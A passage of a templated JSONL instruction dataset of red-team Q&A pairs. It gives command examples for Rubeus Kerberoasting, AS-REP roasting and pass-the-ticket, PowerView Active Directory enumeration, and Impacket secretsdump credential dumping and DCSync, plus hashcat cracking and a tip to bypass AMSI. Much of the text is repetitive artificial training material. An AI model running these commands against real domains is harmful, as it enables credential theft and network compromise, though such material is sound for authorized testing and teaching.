"security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051730Z", "updated_at": "2025-12-18T00:11:32.051730Z"} +{"id": "trtp-2be059cbccaa", "instruction": "How would I use Rubeus for Kerberos attacks?", "output": "Example of Rubeus Kerberos Toolkit:\n\n```\n# Kerberoasting - request TGS for cracking\nRubeus.exe kerberoast /outfile:hashes.txt\n\n# AS-REP Roasting - users without preauth\nRubeus.exe asreproast /outfile:asrep.txt\n\n# Request TGT\nRubeus.exe asktgt /user:svc_account /password:Password123\n\n# Pass-the-ticket\nRubeus.exe ptt /ticket:base64_ticket\n```\n\nInterpretation: Outputs tickets in base64 or kirbi format, hashes in hashcat format", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051742Z", "updated_at": "2025-12-18T00:11:32.051742Z"} +{"id": "trtp-9788f2965b40", "instruction": "Give me a practical example of Rubeus.", "output": "Here is a practical example of Rubeus:\n\n```\n# Kerberoasting - request TGS for cracking\nRubeus.exe kerberoast /outfile:hashes.txt\n\n# AS-REP Roasting - users without preauth\nRubeus.exe asreproast /outfile:asrep.txt\n\n# Request TGT\nRubeus.exe asktgt /user:svc_account /password:Password123\n\n# Pass-the-ticket\nRubeus.exe ptt /ticket:base64_ticket\n```\n\nRubeus is a C# toolset for Kerberos interaction and abuse. Provides functionality for Kerberoasting, AS-REP roasting, ticket manipulation, and delegation attacks.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051752Z", "updated_at": "2025-12-18T00:11:32.051752Z"} +{"id": "trtp-6adf1d8a4018", "instruction": "When should I use Rubeus?", "output": "Use cases for Rubeus:\n\n- Kerberos attacks\n- Credential harvesting\n- Ticket manipulation\n- Delegation abuse\n\nRubeus is a C# toolset for Kerberos interaction and abuse. Provides functionality for Kerberoasting, AS-REP roasting, ticket manipulation, and delegation attacks.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051764Z", "updated_at": "2025-12-18T00:11:32.051764Z"} +{"id": "trtp-173257839cb7", "instruction": "Explain the output of Rubeus.", "output": "Interpreting Rubeus output:\n\nOutputs tickets in base64 or kirbi format, hashes in hashcat format\n\nExample output:\n```\n# Kerberoasting - request TGS for cracking\nRubeus.exe kerberoast /outfile:hashes.txt\n\n# AS-REP Roasting - users without preauth\nRubeus.exe asreproast /outfile:asrep.txt\n\n# Request TGT\nRubeus.exe asktgt /user:svc_account /password:Password123\n\n# Pass-the-ticket\nRubeus.exe ptt /ticket:base64_ticket\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051775Z", "updated_at": "2025-12-18T00:11:32.051775Z"} +{"id": "trtp-4c1f5e31b9cd", "instruction": "How can I get the most out of Rubeus?", "output": "Tips for using Rubeus:\n\n- Detection: RC4 TGS requests (4769)\n- Use with /nowrap for clean output\n- Combine with hashcat for cracking\n\nUseful for: Kerberos attacks, Credential harvesting, Ticket manipulation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051787Z", "updated_at": "2025-12-18T00:11:32.051787Z"} +{"id": "trtp-5b1d81ba65ff", "instruction": "How is Rubeus used in penetration testing?", "output": "Offensive security uses of Rubeus:\n\nRubeus is a C# toolset for Kerberos interaction and abuse. Provides functionality for Kerberoasting, AS-REP roasting, ticket manipulation, and delegation attacks.\n\nExample:\n```\n# Kerberoasting - request TGS for cracking\nRubeus.exe kerberoast /outfile:hashes.txt\n\n# AS-REP Roasting - users without preauth\nRubeus.exe asreproast /outfile:asrep.txt\n\n# Request TGT\nRubeus.exe asktgt /user:svc_account /password:Password123\n\n# Pass-the-ticket\nRubeus.exe ptt /ticket:base64_ticket\n```\n\nCapabilities:\n- Kerberos attacks\n- Credential harvesting\n- Ticket manipulation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051801Z", "updated_at": "2025-12-18T00:11:32.051801Z"} +{"id": "trtp-8ed1d479a622", "instruction": "What is the typical workflow for using Rubeus?", "output": "Workflow for Rubeus Kerberos Toolkit:\n\n1. Understand the context: Rubeus is a C# toolset for Kerberos interaction and abuse. Provides functionality for Kerberoasting, AS-REP roasting, ticket manipulation, and delegation attacks.\n\n2. Apply the tool:\n```\n# Kerberoasting - request TGS for cracking\nRubeus.exe kerberoast /outfile:hashes.txt\n\n# AS-REP Roasting - users without preauth\nRubeus.exe asreproast /outfile:asrep.txt\n\n# Request TGT\nRubeus.exe asktgt /user:svc_account /password:Password123\n\n# Pass-the-ticket\nRubeus.exe ptt /ticket:base64_ticket\n```\n\n3. Common scenarios: Kerberos attacks, Credential harvesting, Ticket manipulation\n\n4. Best practices:\n - Detection: RC4 TGS requests (4769)\n - Use with /nowrap for clean output", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051816Z", "updated_at": "2025-12-18T00:11:32.051816Z"} +{"id": "trtp-a9906a1c3dfb", "instruction": "What makes Rubeus useful for this task?", "output": "Advantages of Rubeus:\n\nRubeus is a C# toolset for Kerberos interaction and abuse. Provides functionality for Kerberoasting, AS-REP roasting, ticket manipulation, and delegation attacks.\n\nBest suited for:\n- Kerberos attacks\n- Credential harvesting\n- Ticket manipulation\n- Delegation abuse\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051830Z", "updated_at": "2025-12-18T00:11:32.051830Z"} +{"id": "trtp-c2581f10ec56", "instruction": "How does Rubeus integrate with other security tools?", "output": "Integration points for Rubeus:\n\nRubeus is a C# toolset for Kerberos interaction and abuse. Provides functionality for Kerberoasting, AS-REP roasting, ticket manipulation, and delegation attacks.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051844Z", "updated_at": "2025-12-18T00:11:32.051844Z"} +{"id": "trtp-3aa2ace36380", "instruction": "What is Rubeus and how is it used in security?", "output": "Rubeus Kerberoasting\n\nKerberoasting requests service tickets (TGS) for accounts with SPNs. The ticket is encrypted with the service account's hash which can be cracked offline.\n\nPlatform: windows\n\nCommon uses:\n- Service account compromise\n- Offline password cracking\n- Privilege escalation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberoasting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052023Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052043Z", "updated_at": "2025-12-18T00:11:32.052043Z"} +{"id": "trtp-9edd01aea9b6", "instruction": "What command or query syntax does Rubeus use?", "output": "Syntax for Rubeus:\n\nRubeus.exe kerberoast [options]\n\nKerberoasting requests service tickets (TGS) for accounts with SPNs. The ticket is encrypted with the service account's hash which can be cracked offline.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberoasting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052023Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052056Z", "updated_at": "2025-12-18T00:11:32.052056Z"} +{"id": "trtp-9be23c58e4e3", "instruction": "Show me an example of Rubeus in action.", "output": "Example of Rubeus Kerberoasting:\n\n```\n# Basic Kerberoast\nRubeus.exe kerberoast\n\n# Output to file in hashcat format\nRubeus.exe kerberoast /outfile:hashes.txt /format:hashcat\n\n# Target specific user\nRubeus.exe kerberoast /user:svc_sql\n\n# Use different encryption (AES is slower to crack)\nRubeus.exe kerberoast /tgtdeleg\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt wordlist.txt\n```\n\nInterpretation: Hash format: $krb5tgs$... for hashcat mode 13100", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberoasting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052023Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052067Z", "updated_at": "2025-12-18T00:11:32.052067Z"} +{"id": "trtp-ce5f84db4829", "instruction": "Provide an example of using Rubeus.", "output": "Here is a practical example of Rubeus:\n\n```\n# Basic Kerberoast\nRubeus.exe kerberoast\n\n# Output to file in hashcat format\nRubeus.exe kerberoast /outfile:hashes.txt /format:hashcat\n\n# Target specific user\nRubeus.exe kerberoast /user:svc_sql\n\n# Use different encryption (AES is slower to crack)\nRubeus.exe kerberoast /tgtdeleg\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt wordlist.txt\n```\n\nKerberoasting requests service tickets (TGS) for accounts with SPNs. The ticket is encrypted with the service account's hash which can be cracked offline.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberoasting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052023Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052078Z", "updated_at": "2025-12-18T00:11:32.052078Z"} +{"id": "trtp-02346d84268d", "instruction": "What security tasks can I accomplish with Rubeus?", "output": "Use cases for Rubeus:\n\n- Service account compromise\n- Offline password cracking\n- Privilege escalation\n\nKerberoasting requests service tickets (TGS) for accounts with SPNs. The ticket is encrypted with the service account's hash which can be cracked offline.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberoasting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052023Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052089Z", "updated_at": "2025-12-18T00:11:32.052089Z"} +{"id": "trtp-37f4d3766403", "instruction": "What are some tips for using Rubeus?", "output": "Tips for using Rubeus:\n\n- Detection: Many 4769 with RC4 encryption\n- Prioritize accounts with DA paths\n- AES tickets harder to crack\n\nUseful for: Service account compromise, Offline password cracking, Privilege escalation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberoasting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052023Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052105Z", "updated_at": "2025-12-18T00:11:32.052105Z"} +{"id": "trtp-102b49678f56", "instruction": "What attack techniques can be performed with Rubeus?", "output": "Offensive security uses of Rubeus:\n\nKerberoasting requests service tickets (TGS) for accounts with SPNs. The ticket is encrypted with the service account's hash which can be cracked offline.\n\nExample:\n```\n# Basic Kerberoast\nRubeus.exe kerberoast\n\n# Output to file in hashcat format\nRubeus.exe kerberoast /outfile:hashes.txt /format:hashcat\n\n# Target specific user\nRubeus.exe kerberoast /user:svc_sql\n\n# Use different encryption (AES is slower to crack)\nRubeus.exe kerberoast /tgtdeleg\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt wordlist.txt\n```\n\nCapabilities:\n- Service account compromise\n- Offline password cracking\n- Privilege escalation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberoasting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052023Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052118Z", "updated_at": "2025-12-18T00:11:32.052118Z"} +{"id": "trtp-8041034540e1", "instruction": "What's the process for analyzing data with Rubeus?", "output": "Workflow for Rubeus Kerberoasting:\n\n1. Understand the context: Kerberoasting requests service tickets (TGS) for accounts with SPNs. The ticket is encrypted with the service account's hash which can be cracked offline.\n\n2. Apply the tool:\n```\n# Basic Kerberoast\nRubeus.exe kerberoast\n\n# Output to file in hashcat format\nRubeus.exe kerberoast /outfile:hashes.txt /format:hashcat\n\n# Target specific user\nRubeus.exe kerberoast /user:svc_sql\n\n# Use different encryption (AES is slower to crack)\nRubeus.exe kerberoast /tgtdeleg\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt wordlist.txt\n```\n\n3. Common scenarios: Service account compromise, Offline password cracking, Privilege escalation\n\n4. Best practices:\n - Detection: Many 4769 with RC4 encryption\n - Prioritize accounts with DA paths", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberoasting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052023Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052133Z", "updated_at": "2025-12-18T00:11:32.052133Z"} +{"id": "trtp-2e7de5b9233a", "instruction": "What are the advantages of Rubeus for security analysis?", "output": "Advantages of Rubeus:\n\nKerberoasting requests service tickets (TGS) for accounts with SPNs. The ticket is encrypted with the service account's hash which can be cracked offline.\n\nBest suited for:\n- Service account compromise\n- Offline password cracking\n- Privilege escalation\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberoasting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052023Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052146Z", "updated_at": "2025-12-18T00:11:32.052146Z"} +{"id": "trtp-205684097517", "instruction": "How do I use Rubeus alongside other tools in my toolkit?", "output": "Integration points for Rubeus:\n\nKerberoasting requests service tickets (TGS) for accounts with SPNs. The ticket is encrypted with the service account's hash which can be cracked offline.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberoasting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052023Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052160Z", "updated_at": "2025-12-18T00:11:32.052160Z"} +{"id": "trtp-13da369572c9", "instruction": "Explain PowerView for security professionals.", "output": "PowerView AD Enumeration\n\nPowerView is a PowerShell module for Active Directory enumeration. Provides functions for finding users, groups, computers, GPOs, ACLs, and trust relationships.\n\nPlatform: windows\n\nCommon uses:\n- AD reconnaissance\n- User enumeration\n- Permission analysis\n- Attack surface mapping", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-powerview-ad-enumeration", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052335Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052356Z", "updated_at": "2025-12-18T00:11:32.052356Z"} +{"id": "trtp-bc10a58e0312", "instruction": "Show me the basic syntax for PowerView.", "output": "Syntax for PowerView:\n\nImport-Module PowerView.ps1; Get-*\n\nPowerView is a PowerShell module for Active Directory enumeration. Provides functions for finding users, groups, computers, GPOs, ACLs, and trust relationships.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-powerview-ad-enumeration", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052335Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052369Z", "updated_at": "2025-12-18T00:11:32.052369Z"} +{"id": "trtp-07d357e5edd6", "instruction": "Demonstrate PowerView AD Enumeration with an example.", "output": "Example of PowerView AD Enumeration:\n\n```\n# Import module\nImport-Module .\\PowerView.ps1\n\n# Enumerate domain users\nGet-DomainUser | select samaccountname,description\n\n# Find domain admins\nGet-DomainGroupMember -Identity 'Domain Admins'\n\n# Find computers with unconstrained delegation\nGet-DomainComputer -Unconstrained\n\n# Find interesting ACLs\nFind-InterestingDomainAcl\n\n# Find users with SPNs (Kerberoastable)\nGet-DomainUser -SPN\n```\n\nInterpretation: Returns AD objects with properties based on function", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-powerview-ad-enumeration", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052335Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052381Z", "updated_at": "2025-12-18T00:11:32.052381Z"} +{"id": "trtp-0b85b412f6f9", "instruction": "Provide an example of using PowerView.", "output": "Here is a practical example of PowerView:\n\n```\n# Import module\nImport-Module .\\PowerView.ps1\n\n# Enumerate domain users\nGet-DomainUser | select samaccountname,description\n\n# Find domain admins\nGet-DomainGroupMember -Identity 'Domain Admins'\n\n# Find computers with unconstrained delegation\nGet-DomainComputer -Unconstrained\n\n# Find interesting ACLs\nFind-InterestingDomainAcl\n\n# Find users with SPNs (Kerberoastable)\nGet-DomainUser -SPN\n```\n\nPowerView is a PowerShell module for Active Directory enumeration. Provides functions for finding users, groups, computers, GPOs, ACLs, and trust relationships.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-powerview-ad-enumeration", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052335Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052391Z", "updated_at": "2025-12-18T00:11:32.052391Z"} +{"id": "trtp-30700ef5d4a2", "instruction": "What are the use cases for PowerView?", "output": "Use cases for PowerView:\n\n- AD reconnaissance\n- User enumeration\n- Permission analysis\n- Attack surface mapping\n\nPowerView is a PowerShell module for Active Directory enumeration. Provides functions for finding users, groups, computers, GPOs, ACLs, and trust relationships.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-powerview-ad-enumeration", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052335Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052403Z", "updated_at": "2025-12-18T00:11:32.052403Z"} +{"id": "trtp-0fa5a581c8e8", "instruction": "How can I get the most out of PowerView?", "output": "Tips for using PowerView:\n\n- PowerShell logging detects usage\n- Use AMSI bypass if blocked\n- Cross-reference with BloodHound\n\nUseful for: AD reconnaissance, User enumeration, Permission analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-powerview-ad-enumeration", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052335Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052419Z", "updated_at": "2025-12-18T00:11:32.052419Z"} +{"id": "trtp-d61410b425fb", "instruction": "What capabilities does PowerView provide for offensive security?", "output": "Offensive security uses of PowerView:\n\nPowerView is a PowerShell module for Active Directory enumeration. Provides functions for finding users, groups, computers, GPOs, ACLs, and trust relationships.\n\nExample:\n```\n# Import module\nImport-Module .\\PowerView.ps1\n\n# Enumerate domain users\nGet-DomainUser | select samaccountname,description\n\n# Find domain admins\nGet-DomainGroupMember -Identity 'Domain Admins'\n\n# Find computers with unconstrained delegation\nGet-DomainComputer -Unconstrained\n\n# Find interesting ACLs\nFind-InterestingDomainAcl\n\n# Find users with SPNs (Kerberoastable)\nGet-DomainUser -SPN\n```\n\nCapabilities:\n- AD reconnaissance\n- User enumeration\n- Permission analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-powerview-ad-enumeration", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052335Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052434Z", "updated_at": "2025-12-18T00:11:32.052434Z"} +{"id": "trtp-0cb2dec7bacf", "instruction": "What's the process for analyzing data with PowerView?", "output": "Workflow for PowerView AD Enumeration:\n\n1. Understand the context: PowerView is a PowerShell module for Active Directory enumeration. Provides functions for finding users, groups, computers, GPOs, ACLs, and trust relationships.\n\n2. Apply the tool:\n```\n# Import module\nImport-Module .\\PowerView.ps1\n\n# Enumerate domain users\nGet-DomainUser | select samaccountname,description\n\n# Find domain admins\nGet-DomainGroupMember -Identity 'Domain Admins'\n\n# Find computers with unconstrained delegation\nGet-DomainComputer -Unconstrained\n\n# Find interesting ACLs\nFind-InterestingDomainAcl\n\n# Find users with SPNs (Kerberoastable)\nGet-DomainUser -SPN\n```\n\n3. Common scenarios: AD reconnaissance, User enumeration, Permission analysis\n\n4. Best practices:\n - PowerShell logging detects usage\n - Use AMSI bypass if blocked", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-powerview-ad-enumeration", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052335Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052449Z", "updated_at": "2025-12-18T00:11:32.052449Z"} +{"id": "trtp-27d7d35070c9", "instruction": "When should I use PowerView versus other similar tools?", "output": "Advantages of PowerView:\n\nPowerView is a PowerShell module for Active Directory enumeration. Provides functions for finding users, groups, computers, GPOs, ACLs, and trust relationships.\n\nBest suited for:\n- AD reconnaissance\n- User enumeration\n- Permission analysis\n- Attack surface mapping\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-powerview-ad-enumeration", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052335Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052462Z", "updated_at": "2025-12-18T00:11:32.052462Z"} +{"id": "trtp-4332be5d68ac", "instruction": "Can PowerView be combined with other analysis methods?", "output": "Integration points for PowerView:\n\nPowerView is a PowerShell module for Active Directory enumeration. Provides functions for finding users, groups, computers, GPOs, ACLs, and trust relationships.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-powerview-ad-enumeration", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052335Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052484Z", "updated_at": "2025-12-18T00:11:32.052484Z"} +{"id": "trtp-4c929666f6be", "instruction": "What do I need to know about Impacket?", "output": "Impacket secretsdump\n\nsecretsdump.py extracts credentials from Windows systems remotely via SMB, including SAM, LSA secrets, cached credentials, and domain hashes via DCSync.\n\nPlatform: cross-platform\n\nCommon uses:\n- Remote credential extraction\n- DCSync attacks\n- Hash harvesting\n- Lateral movement", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-secretsdump", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052666Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052688Z", "updated_at": "2025-12-18T00:11:32.052688Z"} +{"id": "trtp-db696b874bd1", "instruction": "What command or query syntax does Impacket use?", "output": "Syntax for Impacket:\n\nsecretsdump.py /:@\n\nsecretsdump.py extracts credentials from Windows systems remotely via SMB, including SAM, LSA secrets, cached credentials, and domain hashes via DCSync.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-secretsdump", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052666Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052701Z", "updated_at": "2025-12-18T00:11:32.052701Z"} +{"id": "trtp-04ce31f8c1b8", "instruction": "Provide an example of using Impacket.", "output": "Example of Impacket secretsdump:\n\n```\n# Dump local SAM\nsecretsdump.py CORP/admin:Password123@192.168.1.100\n\n# DCSync specific user\nsecretsdump.py CORP/admin:Password123@dc.corp.local -just-dc-user krbtgt\n\n# DCSync all users\nsecretsdump.py CORP/admin:Password123@dc.corp.local -just-dc\n\n# Use NTLM hash\nsecretsdump.py CORP/admin@192.168.1.100 -hashes :NTLMHASH\n```\n\nInterpretation: Outputs user:RID:LMHASH:NTLMHASH format", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-impacket-secretsdump", "license": "original", "retrieved_at": "2025-12-18T00:11:32.052666Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.052713Z", "updated_at": "2025-12-18T00:11:32.052713Z"} +{"id": "trtp-4e0a61c91c22", "instruction": "Give me a practical example of Impacket.", "output": "Here is a practical example of Impacket:\n\n```\n# Dump local SAM\nsecretsdump.py CORP/admin:Password123@192.168.1.100\n\n# DCSync specific user\nsecretsdump.py CORP/admin:Password123@dc.corp.local -just-dc-user krbtgt\n\n# DCSync all 